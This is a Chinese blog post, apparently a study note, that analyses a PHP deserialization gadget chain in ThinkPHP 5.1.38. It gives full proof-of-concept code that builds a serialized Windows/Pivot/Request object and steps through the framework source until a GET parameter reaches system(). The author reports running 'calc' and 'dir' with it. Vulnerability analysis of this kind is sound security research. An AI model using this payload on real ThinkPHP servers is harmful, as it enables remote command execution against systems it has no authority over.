tpthink5 php7.1,thinkPHP5.1整理

前言:本文是对大佬这边文章的思路的一些整理

环境:

thinkphp 5.1.38

php7.2

php序列化:

把一个对象变成一串可传输的字符串。如一个类中有几个变量,几个方法等等,在序列化之后,这个对象的内容就会由一串字符串来描述。假如一个对象有3个变量,并且变量之间的类型不同,在序列化之后,就会由一个字符串描述这个对象的变量类型,变量名,变量名的长度,以及变量中的值的内容及长度等。序列化用到的函数为serialize(object);

反序列化:

把序列化之后的字符串再次转换成对象。用到的函数为unserialize(string)。

原理:

在php中,当对象被创建和字符串被反序列化为对象时,会触发一系列的函数,可以通过传入修改后反序列字符作为函数的参数,从而达到某些目的。

一般可利用的几个函数:

__construct(): php中的构造方法,当使用new操作符创建一个新的对象时,必须调用一个名为__construct()的构造方法。该方法无返回值。

__destruct(): php中的析构方法,析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集等。析构函数不能带有任何参数,其名称必须是 __destruct() 。

unserialize(): 从已存储的表示中创建 PHP 的值,如果调用此函数,可将序列化之后的字符串反过来输出成对象。假如它是个类,那么在创建这个类之后再注销,再用反序列函数,还是可以通过这个类里面的方法再得到这个类的属性。在使用这个方法时,辉县检查是否存在一个__wakeup()方法,如果有,先会调用。

__toString(): 当一个对象被当成字符串使用时,会执行这个对象的toString()方法。在直接输出对象引用时,自动调用__toString()方法输出返回的字符串。比如类。

__wakeup(): 在反序列化函数被执行时,会查看是否存在该方法,如果有就会调用它,接收序列化后的字符串所保留的对象属性值。如果对象被序列化后属性被修改,则不会执行该方法。

思路:

在php反序列化漏洞时,大部分是利用php中的魔法方法(就是上面所说的几个方法)触发反序列化漏洞。但是如果漏洞触发代码不在这些函数中, 而是在一个类的普通方法中,并且魔法函通过属性(对象)调用了这些函数,且在别的类中有同名函数,这时就可以通过寻找相同的函数名将类的属性和函数的属性联系起来。

漏洞利用代码如下:

namespace think;

abstract class Model{

protected $append = [];

private $data = [];

function __construct(){

$this->append = ["lin"=>["calc.exe","calc"]];

$this->data = ["lin"=>new Request()];

}

}

class Request

{

protected $hook = [];

protected $filter = "system";

protected $config = [

// 表单ajax伪装变量

'var_ajax' => '_ajax',

];

function __construct(){

$this->filter = "system";

$this->config = ["var_ajax"=>'lin'];

$this->hook = ["visible"=>[$this,"isAjax"]];

}

}

namespace think\process\pipes;

use think\model\concern\Conversion;

use think\model\Pivot;

class Windows

{

private $files = [];

public function __construct()

{

$this->files=[new Pivot()];

}

}

namespace think\model;

use think\Model;

class Pivot extends Model

{

}

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));

?>

函数利用链如下:

\thinkphp\library\think\process\pipes\Windows.php - > __destruct()

\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()

Windows.php: file_exists()

thinkphp\library\think\model\concern\Conversion.php - > __toString()

thinkphp\library\think\model\concern\Conversion.php - > toJson()

thinkphp\library\think\model\concern\Conversion.php - > toArray()

thinkphp\library\think\Request.php - > __call()

thinkphp\library\think\Request.php - > isAjax()

thinkphp\library\think\Request.php - > param()

thinkphp\library\think\Request.php - > input()

thinkphp\library\think\Request.php - > filterValue()

__destruct():

在poc中,在创建Windows对象时,就会触发Windows类定义的__contruct()方法,之后再触发Windows类下的__destruct()方法(该方法位于\thinkphp\library\think\process\pipes\Windows.php)(原理应该是利用了同名类)。跟进__destruct()方法,会发现有两个调用函数:

1e289a6b9b7b?from=groupmessage

image.png

close()方法是用于关闭连接的,这里可以先不看。看removeFiles()函数。

removeFiles():

1e289a6b9b7b?from=groupmessage

image.png

该函数调用了类中定义的$filename进行处理,该方法会使$filename被当做字符串处理。当想要输出对象的值时,可以使用到__toString()方法,可以参考Java里面的,应该是一样的原理。

__toString():位于(thinkphp\library\think\model\concern\Conversion.php),长这样:

1e289a6b9b7b?from=groupmessage

image.png

该方法调用了本类中的toJson()方法。当一个对象被序列化之后被当作字符串处理的时候就会触发该方法,联系上面的poc,我们可以通过在$files里传入一个Piovt对象来触发该方法。

toJson():

1e289a6b9b7b?from=groupmessage

image.png

这里调用了toArray()方法,将数据集转换成Json字符串,option里面应该是Json的编码格式。跟进toArray()。

toArray():

public function toArray() (部分,需要用到的代码段)

{

$item = [];

$hasVisible = false;

// 追加属性(必须定义获取器)

if (!empty($this->append)) { //在poc中已经定义了append的属性值:["lin"=>["calc.exe","calc"]];Model类继承了Conversion类(),所以可用这个方法

foreach ($this->append as $key => $name) { //便利append数组,由上可得:$key='lin',$name=["calc.exe","calc"],由于$name是一个数组,所以下面的判断会执行

if (is_array($name)) {

// 追加关联对象属性

$relation = $this->getRelation($key);

if (!$relation) {

$relation = $this->getAttr($key);

if ($relation) {

$relation->visible($name);

}

}

在这里,需要在toArray()函数中找到一个$可控变量=方法(参数可控)的点,而$append是可控的,那么意味着关联的$relation也是可控的。先跟进$relation的赋值函数$getRelation():(该方法位于thinkphp\library\think\model\concern\Relationship.php)

1e289a6b9b7b?from=groupmessage

image.png

这里传入的值为$key=lin,所以第一个if不判断,跳入elseif执行array_key_exists,但poc中也没定义了$relation[]的值,所以$key也不在relation[]中,所以也不执行,返回空值,再看看另一个方法(由于返回了空,所以跳到了$relation=$this->getAttr($key)方法):该方法位于同目录下的Attribute.php中

1e289a6b9b7b?from=groupmessage

image.png

在这部分中,可以看到$value的值来自于getData($name)方法,该方法中的name参数来自于$key,即$name=$key='lin',跟进getData()函数:

1e289a6b9b7b?from=groupmessage

image.png

该方法是用于获取对象的原始数据,在name参数不为空的情况下,第二个if查找name是否为data数组里的键名,如果存在这个键名,则返回键名所对应的键值。在poc里有定义了$this->data=["lin"=>new Requset()],所以会返回Request的对象。通过上面的getData()函数,可以知道toArray()中的$relation的值为new Request()(对象)。由于$relation的值不为空,所以执行下一步: name);,在这里$name的值为"lin"的键值:["calc.exe","calc"],即最终结果为:new Request()->visible([["calc.exe","calc"])。

现在的可控变量有三个:

$files,位于Windows.php

$append,位于Conversion.php

$data,位于Attribute.php

现在需要一个类同时继承了Conversion类和Attribute类,在\thinkphp\library\think\Model.php存在一个名为Model的类同时继承了上面两个类。

现在还缺少以可以执行上面calc.exe的代码,需要满足以下条件:

1.该类中没有visible方法。

2.该类实现了__call()方法。

__call()方法:

方法格式:function __call(string $function_name, array $arguments),其中第一个参数$function_name会自动接收不存在的方法名,第二个参数$arguments则以数组的方式接收不存在的方法的多个参数。

方法使用:为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,可以使用 __call() 方法来避免。该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。

这里如果运行过程中缺少了visible方法,则可执行__call方法来执行命令。

__call():(该方法位于/thinkphp/library/think/Request.php)

public function __call($method, $args) //$method为不存在方法,$args为不存在方法以数组形式存的参数,此时有被调用之后有$method=visible,$args=$name=["calc.exe","calc"]

{

if (array_key_exists($method, $this->hook)) { //查找键名$method是否存在数组hook中,满足条件

array_unshift($args, $this); //将新元素插入到数组$args中,此时$args=[$this,"calc.exe","calc"]

return call_user_func_array($this->hook[$method], $args); //执行回调函数isAjax,([$this,isAjax],[$this,"calc.exe","calc"])

}

throw new Exception('method not exists:' . static::class . '->' . $method);

}

在Request.php中,$hook数组的值是可控的,意味着可以设计一个数组$hook={"visible"=>"任意的method名字"},所以在poc中设置了$hook={"visible"=>"[$this,"isAjax"]"}。接下来的array_unshift方法会把$this参数放在$arg数组的首位。之后的执行的call_user_func_array($this->hook[$method], $args);,可用于执行hook[]中的对象的值,且用arg中的值作为参数。即为$obj->$func($this,$argv)(就是调用对象的方法,参数为argv数组中的值)。Request类中有一个特殊的功能,叫过滤器,可以根据这个思路查找一下相应的方法,可以找到filterValue()方法,该方法也位于Requset.php中:

/**

* 递归过滤给定的值

* @access public

* @param mixed $value 键值

* @param mixed $key 键名

* @param array $filters 过滤方法+默认值

* @return mixed

*/

private function filterValue(&$value, $key, $filters)

{

$default = array_pop($filters); //删除数组最后一个,这里删除了$filter[]数组中的[1]=>default,留下了[0]=>system,此时$filters=$filter[0]=system

foreach ($filters as $filter) { //遍历数组

if (is_callable($filter)) { //验证变量名是否可以作为函数调用

// 调用函数或者方法过滤

$value = call_user_func($filter, $value);

由于$value的值在类中并没有定义,所以不可控,所以得找到一个使$value可控的点,搜索可以发现在同一个类中,input()方法调用了filterValue()方法:

public function input($data = [], $name = '', $default = null, $filter = '')

{ //由this-param()函数调用的input函数,传入当前请求参数数组'lin'=>'calc'、$name=$this->config['var_ajax']=lin

if (false === $name) {

// 获取原始数据

return $data;

}

// 解析过滤器

$filter = $this->getFilter($filter, $default); //$filter[0=>'system',1=>$default],system是poc里面设定的

if (is_array($data)) {

array_walk_recursive($data, [$this, 'filterValue'], $filter);//调用回调函数filterValue,$data=filterValue.$value=calc、$filter=filterValue.$filters=[0->'system',1->$default]、$name=filterValue.$key='lin'

if (version_compare(PHP_VERSION, '7.1.0', '

// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针

$this->arrayReset($data);

}

} else {

$this->filterValue($data, $name, $filter);

}

搜索发现,在该类中并无这三个参数,所以参数不可控,所以需要找可控的参数点,查找$name和$filter参数,且能够调用的input()的方法是param()方法:

/**

* 获取当前请求的参数

* @access public

* @param mixed $name 变量名

* @param mixed $default 默认值

* @param string|array $filter 过滤方法

* @return mixed

*/

public function param($name = '', $default = null, $filter = '') //此时$name=$this->config['var_ajax']='lin'

if (true === $name) {

// 获取包含文件上传信息的数组

$file = $this->file();

$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);

}

return $this->input($this->param, $name, $default, $filter); //通过$_GET数组给this->param传递请求参数数组('lin'=>'calc')、$name=$this->config['var_ajax']=lin

不过扔是参数不可控,需要找到调用param方法的地方,这里找到了isAjax函数。

isAjax():

/**

* 当前是否Ajax请求

* @access public

* @param bool $ajax true 获取原始ajax请求

* @return bool

*/

public function isAjax($ajax = false) //标记

{

$value = $this->server('HTTP_X_REQUESTED_WITH');

$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {

return $result;

}

$result = $this->param($this->config['var_ajax']) ? true : $result; //这里调用了param方法(),并传入了config['var_ajax']参数,可以控制config['var_ajax']的键值来控制param函数中的$name,意味着param中的$name可控,也意味着input中的$name可控

//这里之后就是$this-config['var_ajax']='lin',poc里的config有定义

$this->mergeParam = false;

return $result;

}

这里发现$this->config['var_ajax']是作为类中已定义的变量,而且能够重写覆盖,意味着它可控。它可控,意味着param中的$name可控,意味着input()函数中的$name可控(通过函数传递可以得到这一结论,传入$this->config['var_ajax']传入了它的键值(在poc里有定义$this->config = ["var_ajax"=>'lin'];),传入了它的键值'lin'),使得param中的$name=input中的$name=lin。

param():

这个函数中可以通过 array_merge()函数给内置变量$param[]赋值,该函数的的作用是将参数数组合并成一个数组。这里的参数有4个,分别是$this->param,$this->get(false),$vars,$this->route(false)。$this->param定义的值为空,$this->get方法可以将_GET数组中的值赋给get数组($_GET变量用于收集来自method="get"的表单中的值),$vars的值为_POST中传递的值,$route中为ip地址的值,这里应该为空。通过这几个数组的值合成$param的值,用于最后地址栏中的赋值。

input():

$data = $this->getData($data, $name); //这里的$data值来自于$getData方法,这个方法中的$name来自param方法中传入的值,即$name=$this->config['var_ajax']=lin

这里跟进getData函数:

/**

* 获取数据

* @access public

* @param array $data 数据源

* @param string|false $name 字段名

* @return mixed

*/

protected function getData(array $data, $name) //由上面的传值,$data['lin'=>'calc'],$name='lin'

{

foreach (explode('.', $name) as $val) { //将$name的值分割成数组['lin'],

if (isset($data[$val])) {

$data = $data[$val]; //这里之后,$data=$data[$val]=$data[$name]

//此时$data=$data['lin']='calc',回到上面的input()

} else {

return;

}

}

return $data;

}

调用了explode方法将$name分割成数组['lin'],之后返回了传入了的$data数组中['lin']的键值'calc'。

之后就是参数$filter的取值,这里调用了getFilter()方法

// 解析过滤器

$filter = $this->getFilter($filter, $default); //$filter[0=>'system',1=>$default],system是poc里面设定的

--------------------------------------------------------------------------

getFilter():

protected function getFilter($filter, $default) //这个函数说明$filter的值来自$this->filter,需要自定义一个filter()参数

{ //$filter在poc里定义为system

if (is_null($filter)) {

$filter = [];

} else {

$filter = $filter ?: $this->filter; //此时给$filter赋值,$filter=$this->filter=system

if (is_string($filter) && false === strpos($filter, '/')) {

$filter = explode(',', $filter); //将$filter分割为数组['system']

} else {

$filter = (array) $filter;

}

}

$filter[] = $default; //此时$filter[]为{[0]=>"system" [1]=>$default} ,回到input()

return $filter;

}

$filter的值来自类中定义的filter数值,在poc中定义了filter的值为"system"。在对$filter赋值完之后,就是判断对$data是否为数组,如果是就执行array_walk_recursive($data, [$this, 'filterValue'], $filter);,这里调用了回调函数array_walk_recursive给filterValue函数赋值,使得filterValue中的value参数的值为第一个通过GET请求的值input.data,filterValue的key参数为GET请求的键input.name,filterValue中的filters值就为input.filter值。

回溯过去看看:在toArray()方法分析之后,在poc中,在Model类中创建了Request()对象,这会触发Requset类中定义的__construct()方法,之后就会new Request()->visible($name)(在toArray()方法中的$relation->visible($name)调用),由于visible方法在Request类中不存在,故会调用__call()方法。

再看__call()方法的代码:

public function __call($method, $args) //$method为不存在方法,$args为不存在方法以数组形式存的参数,此时有被调用之后有$method=visible,$args=$name=["calc.exe","calc"]

{

if (array_key_exists($method, $this->hook)) { //查找键名$method是否存在数组hook中,满足条件

array_unshift($args, $this); //将新元素插入到数组$args中,此时$args=[$this,"calc.exe","calc"]

return call_user_func_array($this->hook[$method], $args); //执行回调函数isAjax,([$this,isAjax],[$this,"calc.exe","calc"])

}

throw new Exception('method not exists:' . static::class . '->' . $method);

}

在这里传入的$method的值为visible,$args=在toArray分析中体到的$name=["calc.exe","calc"],之后扫描hook数组里是否存在visible键名,已知在poc中已经存在了 $this->hook = ["visible"=>[$this,"isAjax"]],所以执行下一步,将新的元素插入到$args数组,此时$args=[$this,"calc.exe","calc"],之后执行回调函数,调用isAjax函数,有([$this,"isAjax"],["calc.exe","calc"]),接着看isAjax的调用过程:

$result = $this->param($this->config['var_ajax']) ? true : $result; //这里调用了param方法(),并传入了config['var_ajax']参数,可以控制config['var_ajax']的键值来控制param函数中的$name,意味着param中的$name可控,也意味着input中的$name可控

//这里之后就是$this-config['var_ajax']='lin',poc里的config有定义

$this->mergeParam = false;

return $result;

这里调用了param方法并且传入了config中"var_ajax"的键值"lin"。

进入param方法:

public function param($name = '', $default = null, $filter = '') //此时$name=$this->config['var_ajax']='lin'

{

if (!$this->mergeParam) {

$method = $this->method(true);

// 自动获取请求变量

switch ($method) {

case 'POST':

$vars = $this->post(false);

break;

case 'PUT':

case 'DELETE':

case 'PATCH':

$vars = $this->put(false);

break;

default:

$vars = [];

}

// 当前请求参数和URL地址中的参数合并为一个数组

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;

}

return $this->input($this->param, $name, $default, $filter); //通过$_GET数组给this->param传递请求参数数组('lin'=>'calc')、$name=$this->config['var_ajax']=lin

}

在传入键值之后有$name='lin',之后在返回值的时候调用了input方法,类中本身定义的$param通过array_merge合并的地址栏中的get请求参数数组:('lin'=>'calc'),参数$name的值为 lin 。

再进入input()方法:

public function input($data = [], $name = '', $default = null, $filter = '')

{

.....

$name = (string) $name;

if ('' != $name) {

.......

$data = $this->getData($data, $name); //此时$data=$data[$val]=$data['lin']=calc

.......

$filter = $this->getFilter($filter, $default);

if (is_array($data)) {

array_walk_recursive($data, [$this, 'filterValue'], $filter);

.........

}

由上面的传值可知,传入$data[]的值为:['lin'->'calc'],$name的值为 lin ,对$name的值做类型转换,是lin为字符串,之后执行getData()函数,如下:

protected function getData(array $data, $name) //由上面的传值,$data['lin'=>'calc'],$name='lin'

{

foreach (explode('.', $name) as $val) { //将$name的值分割成数组['lin'],

if (isset($data[$val])) {

$data = $data[$val]; //这里之后,$data=$data[$val]=$data[$name]

//此时$data=$data['lin']='calc',回到上面的input()

} else {

return;

}

}

return $data;

}

通过isset()检测$data的'lin'的键值是否设置了,设置了就使$data的值变为'lin'的键值,这里已经设置,所$data的值变为'calc'。

之后就是$filter的赋值,进入getFilter()函数:

protected function getFilter($filter, $default)

{ //$filter在poc里定义为system

if (is_null($filter)) {

$filter = [];

} else {

$filter = $filter ?: $this->filter; //此时给$filter赋值,$filter=$this->filter=system

if (is_string($filter) && false === strpos($filter, '/')) {

$filter = explode(',', $filter); //将$filter分割为数组['system']

} else {

$filter = (array) $filter;

}

}

$filter[] = $default; //此时$filter[]为{[0]=>"system" [1]=>$default} ,回到input()

return $filter;

}

在此函数中,传入的$filter已经在poc中定义为"system"。之后由于$filter不为空,所以将函数中的$filter的值置为"system",之后就是执行将$filter中的"system"分割为数组['system'],之后的$filter[]=$default是给 $filter[]数组添加一个元素到末尾,此时有$filter[]={[0]=>"system",[1]=>$default}。接着返回input():

之后就执行了 array_walk_recursive($data, [$this, 'filterValue'], $filter);,此函数又调用了filterValue函数:

private function filterValue(&$value, $key, $filters)

{

$default = array_pop($filters); //删除数组最后一个,这里删除了$filter[]数组中的[1]=>default,留下了[0]=>system,此时$filters=$filter[0]=system

foreach ($filters as $filter) { //遍历数组

if (is_callable($filter)) { //验证变量名是否可以作为函数调用

// 调用函数或者方法过滤

$value = call_user_func($filter, $value);//执行回调函数system('calc')

将$filters的值传入后,先是通过array_pop(

math?formula=filters)%E5%88%A0%E9%99%A4%E6%95%B0%E7%BB%84%E4%B8%AD%E7%9A%84%E6%9C%80%E5%90%8E%E4%B8%80%E4%B8%AA%E5%85%83%E7%B4%A0%EF%BC%8C%E8%BF%99%E6%A0%B7%5Cfilters数组中就只剩下了最后一个元素"system"。之后下面判断$filter中的元素是否可为函数调用,如果可以,则执行回调函数call_user_func(

math?formula=filter%2Cvalue),将$filter中的值作为函数名,$value的值作为参数,最终执行 system('calc')命令。

但是在本机运行的时候,出现了:

1e289a6b9b7b?from=groupmessage

image.png

出现了一个致命错误,方法think\model\Pivot::__toString()必须不抛出异常,抓取到一个错误:方法不存在:think\Request->append

emmmm没解决,是不是我运行路径错了???应该也不是....求指点.....

但是再测试了一个命令,发现可以但还是出现这个错误:

1e289a6b9b7b?from=groupmessage

image.png

的确可以运行dir命令,之后出现该目录下的文件

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值